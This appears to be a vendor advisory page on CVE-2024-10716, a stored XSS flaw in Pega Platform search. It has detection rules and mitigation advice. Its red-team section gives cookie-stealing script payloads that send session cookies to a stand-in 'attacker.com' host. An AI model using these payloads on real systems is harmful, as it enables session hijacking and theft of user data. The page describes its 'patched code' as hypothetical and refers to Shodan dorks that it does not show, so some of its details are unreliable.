CVE-2024-10716
Executive Summary
CVE-2024-10716 is a stored Cross-Site Scripting (XSS) vulnerability affecting Pega Platform versions 8.1 through Infinity 24.2.0. The flaw exists in the search functionality, allowing an attacker to inject malicious scripts that execute in the context of a victim’s browser. With a CVSS score of 5.9 (Medium), the vulnerability requires user interaction but can lead to session hijacking, data theft, or defacement. No public proof-of-concept or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link or view a page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: Medium. The vulnerability is not actively exploited (EPSS 0.0%), but the lack of a patch and the widespread use of Pega Platform in enterprise environments elevate the risk.
Deep Dive & Mechanics
The vulnerability resides in the search functionality of Pega Platform. When a user submits a search query, the input is not properly sanitized before being reflected or stored in the application’s response. An attacker can craft a malicious search term containing JavaScript code (e.g., <script>alert('XSS')</script>). If the application stores this input (e.g., in search history or logs) and later displays it to another user without proper encoding, the script executes in the victim’s browser.
Attack Flow:
- Attacker identifies a search endpoint that reflects user input.
- Attacker submits a payload like
<img src=x onerror=alert(1)>as a search term. - The application stores the payload (e.g., in a database or session).
- Victim accesses a page that displays the stored search term (e.g., search history).
- The browser renders the payload, executing the attacker’s script.
Impact: Session cookie theft, redirection to malicious sites, keylogging, or defacement.
Vulnerable vs. Patched Code
Vulnerable Code (Pega Platform 8.1 to Infinity 24.2.0):
// Example of unsanitized search output
public String getSearchResults(String query) {
// Directly embedding user input into HTML
return "<div>Search results for: " + query + "</div>";
}
Patched Code (Hypothetical fix):
// Properly encode output
import org.owasp.encoder.Encode;
public String getSearchResults(String query) {
// Encode user input to prevent XSS
String safeQuery = Encode.forHtml(query);
return "<div>Search results for: " + safeQuery + "</div>";
}
The fix involves using context-aware output encoding (e.g., HTML entity encoding) to neutralize malicious scripts.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Pega Platform 24.2.0 (vulnerable version) running on a local VM.
- Attacker machine with Burp Suite or a simple HTTP client.
- Victim browser (e.g., Firefox with developer tools).
Exploitation Steps:
- Navigate to the search page:
http://victim-pegainstance.com/search - Submit a crafted payload:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - The application stores the payload.
- Victim views the search history page.
- The script executes, sending the victim’s session cookie to the attacker.
Payload Example:
<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>
Blue Team
Detection:
- Monitor for unusual search queries containing
<script>,onerror,onload, orjavascript:. - Inspect HTTP requests to search endpoints for encoded or obfuscated JavaScript.
- Use web application firewalls (WAF) to block common XSS patterns.
Mitigation:
- Apply input validation and output encoding.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly update Pega Platform to the latest version once a patch is released.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/searchor similar endpoints containing<script>tags. - Outbound connections to unknown domains from the Pega server.
- HTTP requests to
- File IOCs:
- Log entries with unencoded HTML tags in search parameters.
- Behavioral IOCs:
- Unexpected JavaScript execution in user browsers.
- Session cookie theft alerts.
Detection Engineering
YARA Rule
rule CVE_2024_10716_XSS_Search {
meta:
description = "Detects XSS payloads in Pega Platform search logs"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-10716"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:\s*/i
condition:
any of them
}
Sigma Rule
title: Pega Platform XSS Search Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in Pega Platform search functionality
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: pega
detection:
selection:
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in search (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10716 Pega Platform XSS Search"; flow:to_server,established; content:"/search"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply input validation and output encoding to all search inputs.
- Enable Content Security Policy (CSP) headers to restrict script execution.
- Use a Web Application Firewall (WAF) to block XSS patterns.
Long-Term Fix:
- Monitor Pega’s official advisory for a patch.
- Upgrade to a patched version once released.
- Conduct a security audit of all user-facing input fields.
Workarounds:
- Disable search history or limit its visibility.
- Implement strict CSP with
script-src 'self'and'unsafe-inline'disabled.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.